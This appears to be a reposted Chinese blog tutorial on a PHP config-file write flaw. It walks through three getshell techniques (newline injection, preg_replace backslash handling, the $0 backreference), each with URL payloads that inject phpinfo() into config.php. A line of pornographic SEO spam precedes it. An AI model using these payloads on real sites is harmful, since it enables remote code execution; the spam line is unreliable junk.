日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > php >内容正文

php

php将配置信息写入文件,Php写入配置文件的经典漏洞

發布時間:2025/4/5 php 22 豆豆
生活随笔 收集整理的這篇文章主要介紹了 php将配置信息写入文件,Php写入配置文件的经典漏洞 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

phithon師父在小蜜圈里放了一個經典的配置文件寫入問題漏洞.

if(!isset($_GET['option'])) die();

$str = addslashes($_GET['option']);

$file = file_get_contents('./config.php');

$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);

file_put_contents('./config.php', $file);

config.php 的內容如下:

$option='test';

要求是要getshell,這個場景十分經典,常用在修改配置文件寫入的時候。

此處不存在之前說的那個配置文件中用的是”雙引號”引起任意代碼執行的問題,這這里面用的是單引號,而且 addslashes()處理過了,看似很安全,但是對于腦子里有個黑洞的搞安全的人來講,這個還真是有問題的.

方法一,利用換行符來繞過正則匹配的問題

可以看到正則匹配的是以下內容:

$option='任意內容'

任意內容里面是可以包含轉移符 \ 的,所以我們利用下面的方法:

http://127.0.0.1/index.php?option=a';%0aphpinfo();//

http://127.0.0.1/index.php?option=a

執行完第一個之后,config.php中的內容為:

$option='a\';

phpinfo();//';

但是這樣并沒有辦法執行phpinfo(),因為我們插入的 單引號 被轉移掉了,所以phpinfo()還是在單引號的包裹之內.

我們在訪問下面這個

http://127.0.0.1/index.php?option=a

因為正則 .* 會匹配行內的任意字符無數次.所以 \ 也被認為是其中的一部分,也會被替換掉,執行完之后,config.php中的內容為:

$option='a';

phpinfo();//';

轉義符就被替換掉了,就成功的getshell.

方法二,利用 preg_replace函數的問題:

用preg_replace()的時候replacement(第二個參數)也要經過正則引擎處理,所以正則引擎把\\轉義成了\

也就是說如果字符串是\\\',經過 preg_replace()的處理,就變為 \\',單引號就逃出來了.

所以payload如下:

http://127.0.0.1/index.php?option=a\';phpinfo();//

config.php變為:

$option='a\\';phpinfo();//';

道理就是??a\';phpinfo();//??經過 addslashes()處理之后,變為a\\\';phpinfo();// 然后兩個反斜杠被preg_replace變成了一個,導致單引號逃脫.

方法三, 利用 preg_replace() 函數的第二個參數的問題

先看官方對preg_replace()函數的描述manual

函數原型:

xed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

對replacement的描述.

replacement中可以包含后向引用\\n 或(php 4.0.4以上可用)$n,語法上首選后者。 每個 這樣的引用將被匹配到的第n個捕獲子組捕獲到的文本替換。 n 可以是0-99,\\0和$0代表完整的模式匹配文本。

所以我們可以用:

http://127.0.0.1/test/ph.php?option=;phpinfo();

http://127.0.0.1/test/ph.php?option= 或者 http://127.0.0.1/test/ph.php?option=$0

執行第一條后config.php的內容為:

$option=';phpinfo();';

再執行第二條后config.php的內容為:

$option='$option=';phpinfo();';';

剛好閉合掉了前后的兩個單引號中間的逃脫出來了.想出這個辦法的人,思路真是可以的.

總結

以上是生活随笔為你收集整理的php将配置信息写入文件,Php写入配置文件的经典漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。